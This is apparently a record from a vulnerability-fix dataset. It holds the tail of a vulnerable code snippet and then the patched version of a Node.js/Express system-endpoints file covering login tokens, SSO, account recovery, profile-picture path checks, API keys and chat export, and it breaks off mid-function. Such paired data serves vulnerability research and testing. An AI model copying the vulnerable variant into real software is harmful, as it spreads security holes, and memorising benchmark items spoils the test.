EventLogs.whereWithData({}, limit, offset * limit, {\n          id: \"desc\",\n        });\n        const totalLogs = await EventLogs.count();\n        const hasPages = totalLogs > (offset + 1) * limit;\n\n        response.status(200).json({ logs: logs, hasPages, totalLogs });\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/event-logs\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin])],\n    async (_, response) => {\n      try {\n        await EventLogs.delete();\n        await EventLogs.logEvent(\n          \"event_logs_cleared\",\n          {},\n          response?.locals?.user?.id\n        );\n        response.json({ success: true });\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/workspace-chats\",\n    [\n      chatHistoryViewable,\n      validatedRequest,\n      flexUserRoleValid([ROLES.admin, ROLES.manager]),\n    ],\n    async (request, response) => {\n      try {\n        const { offset = 0, limit = 20 } = reqBody(request);\n        const chats = await WorkspaceChats.whereWithData(\n          {},\n          limit,\n          offset * limit,\n          { id: \"desc\" }\n        );\n        const totalChats = await WorkspaceChats.count();\n        const hasPages = totalChats > (offset + 1) * limit;\n\n        response.status(200).json({ chats: chats, hasPages, totalChats });\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/workspace-chats/:id\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { id } = request.params;\n        Number(id) === -1\n          ? await WorkspaceChats.delete({}, true)\n          : await WorkspaceChats.delete({ id: Number(id) });\n        response.json({ success: true, error: null });\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\n    \"/system/export-chats\",\n    [\n      chatHistoryViewable,\n      validatedRequest,\n      flexUserRoleValid([ROLES.manager, ROLES.admin]),\n    ],\n    async (request, response) => {\n      try {\n        const { type = \"jsonl\", chatType = \"workspace\" } = request.query;\n        const { contentType, data } = await exportChatsAsType(type, chatType);\n        await EventLogs.logEvent(\n          \"exported_chats\",\n          {\n            type,\n            chatType,\n          },\n          response.locals.user?.id\n        );\n        response.setHeader(\"Content-Type\", contentType);\n        response.status(200).send(data);\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  // Used for when a user in multi-user updates their own profile\n  // from the UI.\n  app.post(\"/system/user\", [validatedRequest], async (request, response) => {\n    try {\n      const sessionUser = await userFromSession(request, response);\n      const { username, password } = reqBody(request);\n      const id = Number(sessionUser.id);\n\n      if (!id) {\n        response.status(400).json({ success: false, error: \"Invalid user ID\" });\n        return;\n      }\n\n      const updates = {};\n      if (username) {\n        updates.username = User.validations.username(String(username));\n      }\n      if (password) {\n        updates.password = String(password);\n      }\n\n      if (Object.keys(updates).length === 0) {\n        response\n          .status(400)\n          .json({ success: false, error: \"No updates provided\" });\n        return;\n      }\n\n      const { success, error } = await User.update(id, updates);\n      response.status(200).json({ success, error });\n    } catch (e) {\n      console.error(e);\n      response.sendStatus(500).end();\n    }\n  });\n\n  app.get(\n    \"/system/slash-command-presets\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async (request, response) => {\n      try {\n        const user = await userFromSession(request, response);\n        const userPresets = await SlashCommandPresets.getUserPresets(user?.id);\n        response.status(200).json({ presets: userPresets });\n      } catch (error) {\n        console.error(\"Error fetching slash command presets:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/slash-command-presets\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async (request, response) => {\n      try {\n        const user = await userFromSession(request, response);\n        const { command, prompt, description } = reqBody(request);\n        const presetData = {\n          command: SlashCommandPresets.formatCommand(String(command)),\n          prompt: String(prompt),\n          description: String(description),\n        };\n\n        const preset = await SlashCommandPresets.create(user?.id, presetData);\n        if (!preset) {\n          return response\n            .status(500)\n            .json({ message: \"Failed to create preset\" });\n        }\n        response.status(201).json({ preset });\n      } catch (error) {\n        console.error(\"Error creating slash command preset:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/slash-command-presets/:slashCommandId\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async (request, response) => {\n      try {\n        const user = await userFromSession(request, response);\n        const { slashCommandId } = request.params;\n        const { command, prompt, description } = reqBody(request);\n\n        // Valid user running owns the preset if user session is valid.\n        const ownsPreset = await SlashCommandPresets.get({\n          userId: user?.id ?? null,\n          id: Number(slashCommandId),\n        });\n        if (!ownsPreset)\n          return response.status(404).json({ message: \"Preset not found\" });\n\n        const updates = {\n          command: SlashCommandPresets.formatCommand(String(command)),\n          prompt: String(prompt),\n          description: String(description),\n        };\n\n        const preset = await SlashCommandPresets.update(\n          Number(slashCommandId),\n          updates\n        );\n        if (!preset) return response.sendStatus(422);\n        response.status(200).json({ preset: { ...ownsPreset, ...updates } });\n      } catch (error) {\n        console.error(\"Error updating slash command preset:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/slash-command-presets/:slashCommandId\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async (request, response) => {\n      try {\n        const { slashCommandId } = request.params;\n        const user = await userFromSession(request, response);\n\n        // Valid user running owns the preset if user session is valid.\n        const ownsPreset = await SlashCommandPresets.get({\n          userId: user?.id ?? null,\n          id: Number(slashCommandId),\n        });\n        if (!ownsPreset)\n          return response\n            .status(403)\n            .json({ message: \"Failed to delete preset\" });\n\n        await SlashCommandPresets.delete(Number(slashCommandId));\n        response.sendStatus(204);\n      } catch (error) {\n        console.error(\"Error deleting slash command preset:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n}"}], "fix_func": [{"id": "fix_js_265_1", "commit": "8d302c3f670c582b09d47e96132c248101447a11", "file_path": "server/endpoints/system.js", "start_line": 60, "end_line": 1220, "snippet": "function systemEndpoints(app) {\n  if (!app) return;\n\n  app.get(\"/ping\", (_, response) => {\n    response.status(200).json({ online: true });\n  });\n\n  app.get(\"/migrate\", async (_, response) => {\n    response.sendStatus(200);\n  });\n\n  app.get(\"/env-dump\", async (_, response) => {\n    if (process.env.NODE_ENV !== \"production\")\n      return response.sendStatus(200).end();\n    dumpENV();\n    response.sendStatus(200).end();\n  });\n\n  app.get(\"/setup-complete\", async (_, response) => {\n    try {\n      const results = await SystemSettings.currentSettings();\n      response.status(200).json({ results });\n    } catch (e) {\n      console.error(e.message, e);\n      response.sendStatus(500).end();\n    }\n  });\n\n  app.get(\n    \"/system/check-token\",\n    [validatedRequest],\n    async (request, response) => {\n      try {\n        if (multiUserMode(response)) {\n          const user = await userFromSession(request, response);\n          if (!user || user.suspended) {\n            response.sendStatus(403).end();\n            return;\n          }\n\n          response.sendStatus(200).end();\n          return;\n        }\n\n        response.sendStatus(200).end();\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\"/request-token\", async (request, response) => {\n    try {\n      const bcrypt = require(\"bcrypt\");\n\n      if (await SystemSettings.isMultiUserMode()) {\n        const { username, password } = reqBody(request);\n        const existingUser = await User._get({ username: String(username) });\n\n        if (!existingUser) {\n          await EventLogs.logEvent(\n            \"failed_login_invalid_username\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[001] Invalid login credentials.\",\n          });\n          return;\n        }\n\n        if (!bcrypt.compareSync(String(password), existingUser.password)) {\n          await EventLogs.logEvent(\n            \"failed_login_invalid_password\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[002] Invalid login credentials.\",\n          });\n          return;\n        }\n\n        if (existingUser.suspended) {\n          await EventLogs.logEvent(\n            \"failed_login_account_suspended\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[004] Account suspended by admin.\",\n          });\n          return;\n        }\n\n        await Telemetry.sendTelemetry(\n          \"login_event\",\n          { multiUserMode: false },\n          existingUser?.id\n        );\n\n        await EventLogs.logEvent(\n          \"login_event\",\n          {\n            ip: request.ip || \"Unknown IP\",\n            username: existingUser.username || \"Unknown user\",\n          },\n          existingUser?.id\n        );\n\n        // Check if the user has seen the recovery codes\n        if (!existingUser.seen_recovery_codes) {\n          const plainTextCodes = await generateRecoveryCodes(existingUser.id);\n\n          // Return recovery codes to frontend\n          response.status(200).json({\n            valid: true,\n            user: User.filterFields(existingUser),\n            token: makeJWT(\n              { id: existingUser.id, username: existingUser.username },\n              \"30d\"\n            ),\n            message: null,\n            recoveryCodes: plainTextCodes,\n          });\n          return;\n        }\n\n        response.status(200).json({\n          valid: true,\n          user: User.filterFields(existingUser),\n          token: makeJWT(\n            { id: existingUser.id, username: existingUser.username },\n            \"30d\"\n          ),\n          message: null,\n        });\n        return;\n      } else {\n        const { password } = reqBody(request);\n        if (\n          !bcrypt.compareSync(\n            password,\n            bcrypt.hashSync(process.env.AUTH_TOKEN, 10)\n          )\n        ) {\n          await EventLogs.logEvent(\"failed_login_invalid_password\", {\n            ip: request.ip || \"Unknown IP\",\n            multiUserMode: false,\n          });\n          response.status(401).json({\n            valid: false,\n            token: null,\n            message: \"[003] Invalid password provided\",\n          });\n          return;\n        }\n\n        await Telemetry.sendTelemetry(\"login_event\", { multiUserMode: false });\n        await EventLogs.logEvent(\"login_event\", {\n          ip: request.ip || \"Unknown IP\",\n          multiUserMode: false,\n        });\n        response.status(200).json({\n          valid: true,\n          token: makeJWT(\n            { p: new EncryptionManager().encrypt(password) },\n            \"30d\"\n          ),\n          message: null,\n        });\n      }\n    } catch (e) {\n      console.error(e.message, e);\n      response.sendStatus(500).end();\n    }\n  });\n\n  app.get(\n    \"/request-token/sso/simple\",\n    [simpleSSOEnabled],\n    async (request, response) => {\n      const { token: tempAuthToken } = request.query;\n      const { sessionToken, token, error } =\n        await TemporaryAuthToken.validate(tempAuthToken);\n\n      if (error) {\n        await EventLogs.logEvent(\"failed_login_invalid_temporary_auth_token\", {\n          ip: request.ip || \"Unknown IP\",\n          multiUserMode: true,\n        });\n        return response.status(401).json({\n          valid: false,\n          token: null,\n          message: `[001] An error occurred while validating the token: ${error}`,\n        });\n      }\n\n      await Telemetry.sendTelemetry(\n        \"login_event\",\n        { multiUserMode: true },\n        token.user.id\n      );\n      await EventLogs.logEvent(\n        \"login_event\",\n        {\n          ip: request.ip || \"Unknown IP\",\n          username: token.user.username || \"Unknown user\",\n        },\n        token.user.id\n      );\n\n      response.status(200).json({\n        valid: true,\n        user: User.filterFields(token.user),\n        token: sessionToken,\n        message: null,\n      });\n    }\n  );\n\n  app.post(\n    \"/system/recover-account\",\n    [isMultiUserSetup],\n    async (request, response) => {\n      try {\n        const { username, recoveryCodes } = reqBody(request);\n        const { success, resetToken, error } = await recoverAccount(\n          username,\n          recoveryCodes\n        );\n\n        if (success) {\n          response.status(200).json({ success, resetToken });\n        } else {\n          response.status(400).json({ success, message: error });\n        }\n      } catch (error) {\n        console.error(\"Error recovering account:\", error);\n        response\n          .status(500)\n          .json({ success: false, message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/reset-password\",\n    [isMultiUserSetup],\n    async (request, response) => {\n      try {\n        const { token, newPassword, confirmPassword } = reqBody(request);\n        const { success, message, error } = await resetPassword(\n          token,\n          newPassword,\n          confirmPassword\n        );\n\n        if (success) {\n          response.status(200).json({ success, message });\n        } else {\n          response.status(400).json({ success, error });\n        }\n      } catch (error) {\n        console.error(\"Error resetting password:\", error);\n        response.status(500).json({ success: false, message: error.message });\n      }\n    }\n  );\n\n  app.get(\n    \"/system/system-vectors\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const query = queryParams(request);\n        const VectorDb = getVectorDbClass();\n        const vectorCount = !!query.slug\n          ? await VectorDb.namespaceCount(query.slug)\n          : await VectorDb.totalVectors();\n        response.status(200).json({ vectorCount });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/remove-document\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { name } = reqBody(request);\n        await purgeDocument(name);\n        response.sendStatus(200).end();\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/remove-documents\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { names } = reqBody(request);\n        for await (const name of names) await purgeDocument(name);\n        response.sendStatus(200).end();\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/remove-folder\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { name } = reqBody(request);\n        await purgeFolder(name);\n        response.sendStatus(200).end();\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\n    \"/system/local-files\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (_, response) => {\n      try {\n        const localFiles = await viewLocalFiles();\n        response.status(200).json({ localFiles });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\n    \"/system/document-processing-status\",\n    [validatedRequest],\n    async (_, response) => {\n      try {\n        const online = await new CollectorApi().online();\n        response.sendStatus(online ? 200 : 503);\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\n    \"/system/accepted-document-types\",\n    [validatedRequest],\n    async (_, response) => {\n      try {\n        const types = await new CollectorApi().acceptedFileTypes();\n        if (!types) {\n          response.sendStatus(404).end();\n          return;\n        }\n\n        response.status(200).json({ types });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/update-env\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin])],\n    async (request, response) => {\n      try {\n        const body = reqBody(request);\n        const { newValues, error } = await updateENV(\n          body,\n          false,\n          response?.locals?.user?.id\n        );\n        response.status(200).json({ newValues, error });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/update-password\",\n    [validatedRequest],\n    async (request, response) => {\n      try {\n        // Cannot update password in multi - user mode.\n        if (multiUserMode(response)) {\n          response.sendStatus(401).end();\n          return;\n        }\n\n        let error = null;\n        const { usePassword, newPassword } = reqBody(request);\n        if (!usePassword) {\n          // Password is being disabled so directly unset everything to bypass validation.\n          process.env.AUTH_TOKEN = \"\";\n          process.env.JWT_SECRET = \"\";\n        } else {\n          error = await updateENV(\n            {\n              AuthToken: newPassword,\n              JWTSecret: v4(),\n            },\n            true\n          )?.error;\n        }\n        response.status(200).json({ success: !error, error });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/enable-multi-user\",\n    [validatedRequest],\n    async (request, response) => {\n      try {\n        if (response.locals.multiUserMode) {\n          response.status(200).json({\n            success: false,\n            error: \"Multi-user mode is already enabled.\",\n          });\n          return;\n        }\n\n        const { username, password } = reqBody(request);\n        const { user, error } = await User.create({\n          username,\n          password,\n          role: ROLES.admin,\n        });\n\n        if (error || !user) {\n          response.status(400).json({\n            success: false,\n            error: error || \"Failed to enable multi-user mode.\",\n          });\n          return;\n        }\n\n        await SystemSettings._updateSettings({\n          multi_user_mode: true,\n        });\n        await BrowserExtensionApiKey.migrateApiKeysToMultiUser(user.id);\n\n        await updateENV(\n          {\n            JWTSecret: process.env.JWT_SECRET || v4(),\n          },\n          true\n        );\n        await Telemetry.sendTelemetry(\"enabled_multi_user_mode\", {\n          multiUserMode: true,\n        });\n        await EventLogs.logEvent(\"multi_user_mode_enabled\", {}, user?.id);\n        response.status(200).json({ success: !!user, error });\n      } catch (e) {\n        await User.delete({});\n        await SystemSettings._updateSettings({\n          multi_user_mode: false,\n        });\n\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\"/system/multi-user-mode\", async (_, response) => {\n    try {\n      const multiUserMode = await SystemSettings.isMultiUserMode();\n      response.status(200).json({ multiUserMode });\n    } catch (e) {\n      console.error(e.message, e);\n      response.sendStatus(500).end();\n    }\n  });\n\n  app.get(\"/system/logo\", async function (request, response) {\n    try {\n      const darkMode =\n        !request?.query?.theme || request?.query?.theme === \"default\";\n      const defaultFilename = getDefaultFilename(darkMode);\n      const logoPath = await determineLogoFilepath(defaultFilename);\n      const { found, buffer, size, mime } = fetchLogo(logoPath);\n\n      if (!found) {\n        response.sendStatus(204).end();\n        return;\n      }\n\n      const currentLogoFilename = await SystemSettings.currentLogoFilename();\n      response.writeHead(200, {\n        \"Access-Control-Expose-Headers\":\n          \"Content-Disposition,X-Is-Custom-Logo,Content-Type,Content-Length\",\n        \"Content-Type\": mime || \"image/png\",\n        \"Content-Disposition\": `attachment; filename=${path.basename(\n          logoPath\n        )}`,\n        \"Content-Length\": size,\n        \"X-Is-Custom-Logo\":\n          currentLogoFilename !== null &&\n          currentLogoFilename !== defaultFilename &&\n          !isDefaultFilename(currentLogoFilename),\n      });\n      response.end(Buffer.from(buffer, \"base64\"));\n      return;\n    } catch (error) {\n      console.error(\"Error processing the logo request:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  app.get(\"/system/footer-data\", [validatedRequest], async (_, response) => {\n    try {\n      const footerData =\n        (await SystemSettings.get({ label: \"footer_data\" }))?.value ??\n        JSON.stringify([]);\n      response.status(200).json({ footerData: footerData });\n    } catch (error) {\n      console.error(\"Error fetching footer data:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  app.get(\"/system/support-email\", [validatedRequest], async (_, response) => {\n    try {\n      const supportEmail =\n        (\n          await SystemSettings.get({\n            label: \"support_email\",\n          })\n        )?.value ?? null;\n      response.status(200).json({ supportEmail: supportEmail });\n    } catch (error) {\n      console.error(\"Error fetching support email:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  // No middleware protection in order to get this on the login page\n  app.get(\"/system/custom-app-name\", async (_, response) => {\n    try {\n      const customAppName =\n        (\n          await SystemSettings.get({\n            label: \"custom_app_name\",\n          })\n        )?.value ?? null;\n      response.status(200).json({ customAppName: customAppName });\n    } catch (error) {\n      console.error(\"Error fetching custom app name:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  app.get(\n    \"/system/pfp/:id\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async function (request, response) {\n      try {\n        const { id } = request.params;\n        if (response.locals?.user?.id !== Number(id))\n          return response.sendStatus(204).end();\n\n        const pfpPath = await determinePfpFilepath(id);\n        if (!pfpPath) return response.sendStatus(204).end();\n\n        const { found, buffer, size, mime } = fetchPfp(pfpPath);\n        if (!found) return response.sendStatus(204).end();\n\n        response.writeHead(200, {\n          \"Content-Type\": mime || \"image/png\",\n          \"Content-Disposition\": `attachment; filename=${path.basename(pfpPath)}`,\n          \"Content-Length\": size,\n        });\n        response.end(Buffer.from(buffer, \"base64\"));\n        return;\n      } catch (error) {\n        console.error(\"Error processing the logo request:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/upload-pfp\",\n    [validatedRequest, flexUserRoleValid([ROLES.all]), handlePfpUpload],\n    async function (request, response) {\n      try {\n        const user = await userFromSession(request, response);\n        const uploadedFileName = request.randomFileName;\n        if (!uploadedFileName) {\n          return response.status(400).json({ message: \"File upload failed.\" });\n        }\n\n        const userRecord = await User.get({ id: user.id });\n        const oldPfpFilename = userRecord.pfpFilename;\n        if (oldPfpFilename) {\n          const storagePath = path.join(__dirname, \"../storage/assets/pfp\");\n          const oldPfpPath = path.join(\n            storagePath,\n            normalizePath(userRecord.pfpFilename)\n          );\n          if (!isWithin(path.resolve(storagePath), path.resolve(oldPfpPath)))\n            throw new Error(\"Invalid path name\");\n          if (fs.existsSync(oldPfpPath)) fs.unlinkSync(oldPfpPath);\n        }\n\n        const { success, error } = await User.update(user.id, {\n          pfpFilename: uploadedFileName,\n        });\n\n        return response.status(success ? 200 : 500).json({\n          message: success\n            ? \"Profile picture uploaded successfully.\"\n            : error || \"Failed to update with new profile picture.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the profile picture upload:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/remove-pfp\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async function (request, response) {\n      try {\n        const user = await userFromSession(request, response);\n        const userRecord = await User.get({ id: user.id });\n        const oldPfpFilename = userRecord.pfpFilename;\n\n        if (oldPfpFilename) {\n          const storagePath = path.join(__dirname, \"../storage/assets/pfp\");\n          const oldPfpPath = path.join(\n            storagePath,\n            normalizePath(oldPfpFilename)\n          );\n          if (!isWithin(path.resolve(storagePath), path.resolve(oldPfpPath)))\n            throw new Error(\"Invalid path name\");\n          if (fs.existsSync(oldPfpPath)) fs.unlinkSync(oldPfpPath);\n        }\n\n        const { success, error } = await User.update(user.id, {\n          pfpFilename: null,\n        });\n\n        return response.status(success ? 200 : 500).json({\n          message: success\n            ? \"Profile picture removed successfully.\"\n            : error || \"Failed to remove profile picture.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the profile picture removal:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/upload-logo\",\n    [\n      validatedRequest,\n      flexUserRoleValid([ROLES.admin, ROLES.manager]),\n      handleAssetUpload,\n    ],\n    async (request, response) => {\n      if (!request?.file || !request?.file.originalname) {\n        return response.status(400).json({ message: \"No logo file provided.\" });\n      }\n\n      if (!validFilename(request.file.originalname)) {\n        return response.status(400).json({\n          message: \"Invalid file name. Please choose a different file.\",\n        });\n      }\n\n      try {\n        const newFilename = await renameLogoFile(request.file.originalname);\n        const existingLogoFilename = await SystemSettings.currentLogoFilename();\n        await removeCustomLogo(existingLogoFilename);\n\n        const { success, error } = await SystemSettings._updateSettings({\n          logo_filename: newFilename,\n        });\n\n        return response.status(success ? 200 : 500).json({\n          message: success\n            ? \"Logo uploaded successfully.\"\n            : error || \"Failed to update with new logo.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the logo upload:\", error);\n        response.status(500).json({ message: \"Error uploading the logo.\" });\n      }\n    }\n  );\n\n  app.get(\"/system/is-default-logo\", async (_, response) => {\n    try {\n      const currentLogoFilename = await SystemSettings.currentLogoFilename();\n      const isDefaultLogo = currentLogoFilename === LOGO_FILENAME;\n      response.status(200).json({ isDefaultLogo });\n    } catch (error) {\n      console.error(\"Error processing the logo request:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  app.get(\n    \"/system/remove-logo\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (_request, response) => {\n      try {\n        const currentLogoFilename = await SystemSettings.currentLogoFilename();\n        await removeCustomLogo(currentLogoFilename);\n        const { success, error } = await SystemSettings._updateSettings({\n          logo_filename: LOGO_FILENAME,\n        });\n\n        return response.status(success ? 200 : 500).json({\n          message: success\n            ? \"Logo removed successfully.\"\n            : error || \"Failed to update with new logo.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the logo removal:\", error);\n        response.status(500).json({ message: \"Error removing the logo.\" });\n      }\n    }\n  );\n\n  app.get(\n    \"/system/welcome-messages\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async function (_, response) {\n      try {\n        const welcomeMessages = await WelcomeMessages.getMessages();\n        response.status(200).json({ success: true, welcomeMessages });\n      } catch (error) {\n        console.error(\"Error fetching welcome messages:\", error);\n        response\n          .status(500)\n          .json({ success: false, message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/set-welcome-messages\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { messages = [] } = reqBody(request);\n        if (!Array.isArray(messages)) {\n          return response.status(400).json({\n            success: false,\n            message: \"Invalid message format. Expected an array of messages.\",\n          });\n        }\n\n        await WelcomeMessages.saveAll(messages);\n        return response.status(200).json({\n          success: true,\n          message: \"Welcome messages saved successfully.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the welcome messages:\", error);\n        response.status(500).json({\n          success: true,\n          message: \"Error saving the welcome messages.\",\n        });\n      }\n    }\n  );\n\n  app.get(\"/system/api-keys\", [validatedRequest], async (_, response) => {\n    try {\n      if (response.locals.multiUserMode) {\n        return response.sendStatus(401).end();\n      }\n\n      const apiKeys = await ApiKey.where({});\n      return response.status(200).json({\n        apiKeys,\n        error: null,\n      });\n    } catch (error) {\n      console.error(error);\n      response.status(500).json({\n        apiKey: null,\n        error: \"Could not find an API Key.\",\n      });\n    }\n  });\n\n  app.post(\n    \"/system/generate-api-key\",\n    [validatedRequest],\n    async (_, response) => {\n      try {\n        if (response.locals.multiUserMode) {\n          return response.sendStatus(401).end();\n        }\n\n        const { apiKey, error } = await ApiKey.create();\n        await Telemetry.sendTelemetry(\"api_key_created\");\n        await EventLogs.logEvent(\n          \"api_key_created\",\n          {},\n          response?.locals?.user?.id\n        );\n        return response.status(200).json({\n          apiKey,\n          error,\n        });\n      } catch (error) {\n        console.error(error);\n        response.status(500).json({\n          apiKey: null,\n          error: \"Error generating api key.\",\n        });\n      }\n    }\n  );\n\n  app.delete(\"/system/api-key\", [validatedRequest], async (_, response) => {\n    try {\n      if (response.locals.multiUserMode) {\n        return response.sendStatus(401).end();\n      }\n\n      await ApiKey.delete();\n      await EventLogs.logEvent(\n        \"api_key_deleted\",\n        { deletedBy: response.locals?.user?.username },\n        response?.locals?.user?.id\n      );\n      return response.status(200).end();\n    } catch (error) {\n      console.error(error);\n      response.status(500).end();\n    }\n  });\n\n  app.post(\n    \"/system/custom-models\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin])],\n    async (request, response) => {\n      try {\n        const { provider, apiKey = null, basePath = null } = reqBody(request);\n        const { models, error } = await getCustomModels(\n          provider,\n          apiKey,\n          basePath\n        );\n        return response.status(200).json({\n          models,\n          error,\n        });\n      } catch (error) {\n        console.error(error);\n        response.status(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/event-logs\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin])],\n    async (request, response) => {\n      try {\n        const { offset = 0, limit = 10 } = reqBody(request);\n        const logs = await EventLogs.whereWithData({}, limit, offset * limit, {\n          id: \"desc\",\n        });\n        const totalLogs = await EventLogs.count();\n        const hasPages = totalLogs > (offset + 1) * limit;\n\n        response.status(200).json({ logs: logs, hasPages, totalLogs });\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/event-logs\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin])],\n    async (_, response) => {\n      try {\n        await EventLogs.delete();\n        await EventLogs.logEvent(\n          \"event_logs_cleared\",\n          {},\n          response?.locals?.user?.id\n        );\n        response.json({ success: true });\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/workspace-chats\",\n    [\n      chatHistoryViewable,\n      validatedRequest,\n      flexUserRoleValid([ROLES.admin, ROLES.manager]),\n    ],\n    async (request, response) => {\n      try {\n        const { offset = 0, limit = 20 } = reqBody(request);\n        const chats = await WorkspaceChats.whereWithData(\n          {},\n          limit,\n          offset * limit,\n          { id: \"desc\" }\n        );\n        const totalChats = await WorkspaceChats.count();\n        const hasPages = totalChats > (offset + 1) * limit;\n\n        response.status(200).json({ chats: chats, hasPages, totalChats });\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/workspace-chats/:id\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { id } = request.params;\n        Number(id) === -1\n          ? await WorkspaceChats.delete({}, true)\n          : await WorkspaceChats.delete({ id: Number(id) });\n        response.json({ success: true, error: null });\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\n    \"/system/export-chats\",\n    [\n      chatHistoryViewable,\n      validatedRequest,\n      flexUserRoleValid([ROLES.manager, ROLES.admin]),\n    ],\n    async (request, response) => {\n      try {\n        const { type = \"jsonl\", chatType = \"workspace\" } = request.query;\n        const { contentType, data } = await exportChatsAsType(type, chatType);\n        await EventLogs.logEvent(\n          \"exported_chats\",\n          {\n            type,\n            chatType,\n          },\n          response.locals.user?.id\n        );\n        response.setHeader(\"Content-Type\", contentType);\n        response.status(200).send(data);\n      } catch (e) {\n        console.error(e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  // Used for when a user in multi-user updates their own profile\n  // from the UI.\n  app.post(\"/system/user\", [validatedRequest], async (request, response) => {\n    try 